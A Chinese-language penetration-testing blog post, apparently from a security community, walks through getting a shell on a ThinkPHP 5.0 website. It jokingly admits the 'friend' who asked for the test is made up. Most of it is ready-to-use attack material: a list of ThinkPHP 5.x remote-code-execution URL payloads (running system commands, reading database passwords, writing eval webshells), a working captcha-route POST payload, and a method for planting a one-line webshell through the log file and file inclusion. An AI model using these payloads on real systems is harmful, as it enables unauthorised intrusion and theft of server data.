實戰滲透,輕鬆拿shell五步走
- 2020 年 3 月 8 日
- 筆記
文章源自【位元組脈搏社區】-位元組脈搏實驗室
作者-whit
1.起因
我有一個朋友,讓我幫忙測試一下他的站,於是有了這篇文章。(無中生友篇)

2.信息收集
訪問首頁一下先,看到是thinkphp v5.0版本。


然後谷歌大法,直接上TP 5.X RCE的EXP,一頓騷操作:
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/thinkRequest/input&filter=phpinfo&data=1
?s=index/thinkconfig/get&name=database.hostname
?s=index/thinkconfig/get&name=database.password
?s=index/thinkRequest/input&filter=system&data=id
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/thinkviewdriverPhp/display&content=<?php%20phpinfo();?>
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[xm])?>i
不好意思,一個都沒用,只是發出來讓你們收藏一下。嘿嘿嘿。。。


3.exp混合利用,文件包含和日誌寫入木馬
接下來我們上一個有用的。
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
改為POST方法,加一個參數Content-Type: application/x-www-form-urlencoded
順利爆出phpinfo,有戲,接着往下看。


再檢測一波:增加type請求頭,然後payload:81aaa=id&_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=POST


報錯,sysytem函數被攔截。可以換種方法getshell了。
由於目標站似乎對一些命令執行的函數有禁用,再加上這個 tp這個漏洞:
1.函數執行結果不會直接回顯 2.限制了函數執行參數只能為一個 導致⼀開始一直卡殼。 後來想了想,由於前⾯測試從 debug 信息來看,好像沒有禁⽌文件操作的函數,再加上 tp 本身就有用到文件讀寫的操作,所以⽂件讀寫操作肯定是能用的。 file_get_contents 函數可以執行,但這裡不會輸出函數執行的結果, file_put_contents 函數⼜要兩個參數,include 又不是函數⽽沒法在這裡調用,所以感覺還是得先從 tp 框架里找現成的危險操作函數來⽤。

__include_file 是在漏洞點可以直接調用的函數,⽽且封裝了文件包含操作,所以能⽤它去讀⽬標服務器上的⽂件了:


被限制了讀取文件的範圍,但是能證明確實有用。由於是⽂件包含的操作,所以我想到了通過在 url 里包含惡意代碼,利用請求報錯記錄到 tp ⾃己的⽇志里,然後包含日誌來執行任意代碼(當然這裡不包括禁用函數)。
寫入一句話shell到日誌文件里:


4.通過一句話 copy 新一句話文件到指定目錄

5.蟻劍連接,打完收工,點到為止。

部分細節省略,比如目錄偵測啥的,這個操作細心點就行。還是熱乎的實戰手法,提交公益src的師傅們可以自行操作一波了。大佬勿噴,有錯請指出,會及時修改。
